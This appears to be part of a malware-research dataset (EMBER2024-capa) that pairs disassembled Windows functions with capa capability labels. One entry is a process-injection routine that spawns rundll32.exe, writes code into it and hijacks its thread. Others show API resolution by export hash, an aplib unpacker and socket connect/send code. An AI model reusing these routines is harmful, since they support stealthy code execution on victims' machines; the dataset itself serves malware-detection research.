joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001b940
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x20
sub r9, r8
mov rax, rdx
sub rax, rcx
mov r14, r8
xor rax, r9
mov rbp, rdx
mov rbx, rcx
test rax, 0xfffffffffffffffe
je 0x14001b980
xor al, al
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
cmp rcx, rbp
je 0x14001b9cc
sub r14, rcx
mov rax, qword [rsp + 0x50]
movzx edx, word [rbx]
movzx esi, word [r14 + rbx]
mov rcx, qword [rax + 8]
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::ctype_wchar_t_::tolower_wchar_t_const___ptr64]
mov rcx, qword [rsp + 0x50]
movzx edx, si
movzx edi, ax
mov rcx, qword [rcx + 8]
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::ctype_wchar_t_::tolower_wchar_t_const___ptr64]
cmp di, ax
jne 0x14001b9e9
add rbx, 2
cmp rbx, rbp
jne 0x14001b992
mov al, 1
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
xor al, al
jmp 0x14001b9ce
Function at 0x14002c880
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x1402b7008]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rdx + 0x18], 8
mov rdi, rdx
mov rbx, rcx
jb 0x14002c8ad
mov rcx, qword [rdx]
jmp 0x14002c8b0
mov rcx, rdi
lea rdx, str.rtS__ccsUTF_8
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
xor ebp, ebp
mov rsi, rax
cmp qword [rbx + 0x18], 8
mov qword [rbx + 0x10], rbp
jb 0x14002c8d2
mov rcx, qword [rbx]
jmp 0x14002c8d5
mov rcx, rbx
mov word [rcx], bp
mov dword [rbx + 0x20], ebp
test rsi, rsi
jne 0x14002c8e7
xor eax, eax
jmp 0x14002ca04
cmp qword [rdi + 0x18], 8
jb 0x14002c8f1
mov rdi, qword [rdi]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wstat64i32]
movsxd rdi, dword [rsp + 0x44]
test rdi, rdi
je 0x14002c9f6
mov rax, qword [rbx + 0x10]
cmp rdi, rax
ja 0x14002c933
mov qword [rbx + 0x10], rdi
cmp qword [rbx + 0x18], 8
jb 0x14002c92a
mov rax, qword [rbx]
mov word [rax + rdi*2], bp
jmp 0x14002c944
mov rax, rbx
mov word [rbx + rdi*2], bp
jmp 0x14002c944
mov rdx, rdi
xor r8d, r8d
sub rdx, rax
mov rcx, rbx
call fcn.140003f00
cmp qword [rbx + 0x18], 8
jb 0x14002c950
mov rcx, qword [rbx]
jmp 0x14002c953
mov rcx, rbx
mov r9, rsi
mov r8, rdi
mov edx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
ja 0x14002c98a
mov qword [rbx + 0x10], rax
cmp qword [rbx + 0x18], 8
jb 0x14002c981
mov rcx, qword [rbx]
mov word [rcx + rax*2], bp
jmp 0x14002c99b
mov rcx, rbx
mov word [rbx + rax*2], bp
jmp 0x14002c99b
sub rax, rcx
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call fcn.140003f00
mov rcx, rbx
call fcn.14002cde0
xor r8d, r8d
mov rcx, rbx
call fcn.14002ccf0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14002c9f6
nop word [rax + rax]
lea r9, [0x1402a0910]
mov qword [rsp + 0x20], 2
mov r8d, 1
mov rdx, rdi
mov rcx, rbx
call fcn.1400078a0
lea r8, [rdi + 2]
mov rcx, rbx
call fcn.14002ccf0
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14002c9c0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140281dc0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140281220
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x2a0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rax, qword [0x1402b7008]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor r12d, r12d
mov r14d, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140281344
nop
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], r12
mov word [rsp + 0x30], r12w
cmp word [rsp + 0x7c], r12w
jne 0x1402812b1
mov r8, r12
jmp 0x1402812ca
lea rax, [rsp + 0x7c]
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r12w
jne 0x1402812c0
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x30]
call fcn.1400039c0
cmp qword [rbx + 0x18], 8
jb 0x1402812e5
mov r8, qword [rbx]
jmp 0x1402812e8
mov r8, rbx
lea rcx, [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
cmp rdi, 8
cmovae rcx, rsi
mov r9, qword [rbx + 0x10]
mov rdx, qword [rsp + 0x40]
call fcn.140006760
mov ebp, eax
cmp rdi, 8
jb 0x140281321
lea r8, [rdi + 1]
mov rdx, rsi
call fcn.140003c30
lea eax, [r14 + 1]
test ebp, ebp
cmovne eax, r14d
mov r14d, eax
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140281290
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r8, qword [rbx + 0x18]
cmp r8, 8
jb 0x140281363
inc r8
mov rdx, qword [rbx]
call fcn.140003c30
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], r12
cmp qword [rbx + 0x18], 8
jb 0x140281379
mov rbx, qword [rbx]
mov word [rbx], r12w
mov eax, r14d
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140281dc0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1405e70b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1405e7237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405e70e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405e70c7
add dl, dl
jne 0x1405e70ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405e714e
xor eax, eax
add dl, dl
jne 0x1405e70fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405e7205
add dl, dl
jne 0x1405e710e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405e711b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405e7128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405e7135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405e7142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405e70d6
mov eax, 1
add dl, dl
jne 0x1405e715e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405e716b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405e7153
sub eax, ebx
mov ebx, 1
jne 0x1405e71a4
mov ecx, 1
add dl, dl
jne 0x1405e7186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405e7193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405e717b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405e70d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405e71c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405e71cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405e71b5
cmp eax, 0x7d00
jae 0x1405e71f3
cmp eax, 0x500
jb 0x1405e71ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405e70d6
cmp eax, 0x7f
ja 0x1405e71f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405e70d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405e722a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405e70d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
sub rsp, 0x5c8
mov edx, 0x68
lea rcx, [rsp + 0x80]
call section..text
mov dword [rsp + 0x80], 0x68
call fcn.180001260
test eax, eax
je 0x180001202
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x1000044
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180004218]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18000114c
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x180001202
mov dword [rsp + 0x120], 0x100003
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, section..data
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_ResumeThread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitThread]
Function at 0x180005190
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1d0
mov rax, qword [0x18005ca10]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rbx, rcx
mov byte [rcx + 8], 0
xor ecx, ecx
mov qword [rbx + 0xc], rcx
mov qword [rbx + 0x18], rcx
mov dword [rbx + 0x20], ecx
mov byte [rbx + 0x2c], cl
mov byte [rbx + 0x24], 1
mov dword [rbx + 0x28], 0xffffffff
mov byte [rbx + 0x38], cl
mov qword [rbx + 0x50], rcx
mov byte [rbx + 0x40], cl
mov qword [rbx + 0x58], recv
lea rax, vtable.meq::SocketWin32.1.0
mov dword [rbx + 0x64], ecx
mov qword [rbx], rax
lea rax, vtable.meq::SocketWin32.0
lea rdx, [rsp + 0x20]
mov ecx, 0x202
mov qword [rbx + 0x8068], 0xffffffffffffffff
mov qword [rbx + 0x30], rax
call sub.WSOCK32.dll_WSAStartup
mov byte [rbx + 0x8070], 0
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.18003e5c0
add rsp, 0x1d0
pop rbx
ret

Function at 0x180005260
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x18005ca10]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor eax, eax
mov rbx, rcx
mov esi, 2
mov qword [rsp + 0x28], rax
movzx ecx, r8w
mov rdi, rdx
mov word [rsp + 0x28], si
mov qword [rsp + 0x30], rax
call sub.WSOCK32.dll_htons
mov rcx, rdi
mov word [rsp + 0x2a], ax
call sub.WSOCK32.dll_gethostbyname
test rax, rax
jne 0x1800052cf
mov rcx, rdi
call sub.WSOCK32.dll_inet_addr
lea edx, [rsi + 2]
lea rcx, [rsp + 0x24]
mov r8d, esi
mov dword [rsp + 0x24], eax
call sub.WSOCK32.dll_gethostbyaddr
test rax, rax
je 0x180005324
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x2c]
mov rdx, qword [rdx]
call fcn.18003edf0
xor r8d, r8d
mov ecx, esi
lea edx, [r8 + 1]
call sub.WSOCK32.dll_socket
mov qword [rbx + 0x8068], rax
cmp rax, 0xffffffffffffffff
je 0x180005324
lea rdx, [rsp + 0x28]
mov r8d, reloc.WSOCK32.dll_recv
mov rcx, rax
call sub.WSOCK32.dll_connect
mov rcx, qword [rbx + 0x8068]
cmp eax, 0xffffffff
jne 0x180005328
call sub.WSOCK32.dll_closesocket
xor al, al
jmp 0x18000534c
xor eax, eax
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
cmp byte [rbx + 0x24], al
sete al
mov dword [rsp + 0x20], eax
call sub.WSOCK32.dll_ioctlsocket
mov byte [rbx + 0x8070], 1
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18003e5c0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x1800053b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x8068]
xor r9d, r9d
call sub.WSOCK32.dll_recv
test eax, eax
jns 0x1800053d5
mov byte [rbx + 0x8070], 0
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1800053e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x8068]
xor r9d, r9d
mov edi, r8d
mov rsi, rdx
call sub.WSOCK32.dll_send
movsxd r9, eax
cmp r9, 0xffffffffffffffff
jne 0x18000543a
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x18000544d
mov rcx, qword [rbx + 0x8068]
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
call sub.WSOCK32.dll_send
movsxd r9, eax
cmp r9, 0xffffffffffffffff
je 0x180005410
mov eax, r9d
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x38]
mov byte [rbx + 0x8070], 0
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x1800068da
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd rax, dword [rcx + 0x3c]
mov esi, edx
xor edx, edx
mov r8d, dword [rax + rcx + 0x88]
mov r9, rcx
add r8, rcx
mov r10d, dword [r8 + 0x20]
mov r11d, dword [r8 + 0x1c]
mov ebx, dword [r8 + 0x24]
mov edi, dword [r8 + 0x18]
add r10, rcx
add r11, rcx
add rbx, rcx
test edi, edi
je 0x18000694b
mov ecx, dword [r10]
add rcx, r9
xor r8d, r8d
jmp 0x180006936
movzx eax, al
inc rcx
or eax, 0x60
add r8d, eax
add r8d, r8d
mov al, byte [rcx]
test al, al
jne 0x180006927
cmp r8d, esi
je 0x18000695d
inc edx
add r10, 4
cmp edx, edi
jb 0x18000691c
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
movzx ecx, word [rbx + rdx*2]
mov eax, dword [r11 + rcx*4]
add rax, r9
jmp 0x18000694d
Function at 0x18001b390
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov r12, r9
mov rsi, r8
mov ebp, edx
mov rbx, rcx
call fcn.18001ae30
mov edx, 0x18
mov r10, qword [rax]
lea r8d, [rdx + 0xc]
mov rcx, rax
call qword [r10]
mov rdi, rax
test rax, rax
je 0x18001b40f
mov qword [rax], 0
mov qword [rax + 0x10], 0
mov dword [rax + 0xc], ebp
call fcn.18001ae30
mov edx, dword [rdi + 0xc]
mov r8d, 0x41
mov r9, qword [rax]
mov rcx, rax
call qword [r9]
mov qword [rdi], rax
test rax, rax
je 0x18001b40f
mov dword [rdi + 8], 0
mov qword [rbx], rdi
mov rcx, qword [rbx]
mov qword [rbx + 8], rcx
test rsi, rsi
jne 0x18001b434
test r12, r12
je 0x18001b44c
mov rcx, qword [rcx]
lea r8d, [rsi + 1]
mov rdx, rbp
mov r9, r12
call fcn.18003fbb4
jmp 0x18001b442
mov rcx, qword [rcx]
mov r8, rbp
mov rdx, rsi
call fcn.18003edf0
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x50]
mov dword [rcx + 8], eax
mov rax, qword [rbx]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rcx, qword [rax]
mov rdi, qword [rsp + 0x48]
mov qword [rbx + 0x20], rcx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop r12
ret

Function at 0x18001b6c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rbx, rcx
call fcn.18001b530
mov rcx, qword [rbx + 8]
cmp qword [rcx + 0x10], 0
lea rdi, [rcx + 0x10]
je 0x18001b71f
nop dword [rax]
mov eax, dword [rcx + 8]
test eax, eax
je 0x18001b711
mov rcx, qword [rcx]
mov r9, rsi
mov r8d, eax
mov edx, 1
mov ebx, eax
call fcn.18003f844
cmp rax, rbx
jne 0x18001b752
mov rcx, qword [rdi]
cmp qword [rcx + 0x10], 0
lea rdi, [rcx + 0x10]
jne 0x18001b6f0
mov eax, dword [rcx + 8]
test eax, eax
je 0x18001b740
mov rcx, qword [rcx]
mov r9, rsi
mov r8d, eax
mov edx, 1
mov ebx, eax
call fcn.18003f844
cmp rax, rbx
jne 0x18001b752
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor al, al
add rsp, 0x20
pop rdi
ret
Function at 0x180029900
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [rcx + 8]
xor edi, edi
mov rbx, rcx
cmp qword [rax + 0x20], rdi
je 0x180029938
call fcn.18001ae30
mov rdx, qword [rbx + 8]
mov r8, qword [rax]
mov rdx, qword [rdx + 0x20]
mov rcx, rax
call qword [r8 + 0x18]
mov r11, qword [rbx + 8]
mov qword [r11 + 0x20], rdi
mov rax, qword [rbx + 8]
cmp dword [rax + 0x14], edi
je 0x180029a01
call fcn.18001ae30
mov rcx, qword [rbx + 8]
mov r8d, gethostbyaddr
mov edx, dword [rcx + 0x14]
mov r9, qword [rax]
mov rcx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 2
call qword [r9]
mov rcx, qword [rbx + 8]
mov qword [rcx + 0x20], rax
mov rax, qword [rbx + 8]
cmp qword [rax + 0x20], rdi
je 0x180029a01
mov rcx, qword [rbx + 8]
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rax
mov eax, dword [rcx + 0x14]
mov dword [rsp + 0x30], eax
mov rax, qword [rcx + 0x18]
mov qword [rsp + 0x38], rax
mov eax, dword [rcx + 8]
mov dword [rsp + 0x40], eax
mov rax, qword [rcx + 0xc]
mov byte [rsp + 0x58], 1
mov qword [rsp + 0x48], rax
mov rax, qword [rcx + 0x20]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x68], rax
call fcn.1800302a0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.180030440
test al, al
jne 0x180029a11
lea rcx, [rsp + 0x20]
call fcn.1800302b0
xor al, al
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rbx + 8]
cmp dword [rax + 0x14], edi
jbe 0x180029a84
movss xmm1, dword [0x18004e3d0]
mov rdx, rdi
nop word [rax + rax]
mov rax, qword [rbx + 8]
inc edi
add rdx, 0xc
mov rcx, qword [rax + 0x20]
movss xmm0, dword [rcx + rdx - 0xc]
xorps xmm0, xmm1
movss dword [rcx + rdx - 0xc], xmm0
mov rax, qword [rbx + 8]
mov rcx, qword [rax + 0x20]
movss xmm0, dword [rcx + rdx - 8]
xorps xmm0, xmm1
movss dword [rcx + rdx - 8], xmm0
mov rax, qword [rbx + 8]
mov rcx, qword [rax + 0x20]
movss xmm0, dword [rcx + rdx - 4]
xorps xmm0, xmm1
movss dword [rcx + rdx - 4], xmm0
mov rax, qword [rbx + 8]
cmp edi, dword [rax + 0x14]
jb 0x180029a30
lea rcx, [rsp + 0x20]
call fcn.1800302b0
mov rbx, qword [rsp + 0x80]
mov al, 1
add rsp, 0x70
pop rdi
ret
Function at 0x18004294f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18005ca10]
jne 0x18003e5da
rol rcx, 0x10
test cx, 0xffff
jne 0x18003e5d6
repz ret
ror rcx, 0x10
jmp 0x1800428a8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180062110]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180062208]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18004292d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180062110]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18004294f
mov rax, qword [rsp + 0x88]
mov qword [0x180062208], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1800621a8], rax
mov rax, qword [0x180062208]
mov qword [0x180062080], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180062190], rax
mov dword [0x180062070], 0xc0000409
mov dword [0x180062074], 1
mov rax, qword [0x18005ca10]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18005ca18]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180062108], eax
mov ecx, 1
call fcn.1800485e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180051eb0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180062108], 0
jne 0x1800429d6
mov ecx, 1
call fcn.1800485e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180046a88
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18005ca10]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1800431b8
xor ebx, ebx
cmp qword [0x180062998], rbx
mov rdi, rax
jne 0x180046b9b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180046c72
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180046c72
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180062998], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1800629a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1800629a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1800629b8], rax
test rax, rax
je 0x180046b92
lea rdx, [0x180052010]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1800629b0], rax
jmp 0x180046ba2
mov rax, qword [0x1800629b0]
jmp 0x180046ba9
mov rax, qword [0x1800629b0]
mov r11, qword [0x1800629b8]
cmp rax, rdi
je 0x180046c10
cmp r11, rdi
je 0x180046c10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1800629b8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180046c10
test rax, rax
je 0x180046c10
call rsi
test rax, rax
je 0x180046c0a
lea rcx, [rsp + 0x30]
mov r9d, reloc.WSOCK32.dll_ioctlsocket
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180046c0a
test byte [rsp + 0x40], 1
jne 0x180046c10
bts ebp, 0x15
jmp 0x180046c50
mov rcx, qword [0x1800629a0]
cmp rcx, rdi
je 0x180046c50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180046c50
call rax
mov rbx, rax
test rax, rax
je 0x180046c50
mov rcx, qword [0x1800629a8]
cmp rcx, rdi
je 0x180046c50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180046c50
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180062998]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180046c72
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180046c74
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18003e5c0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret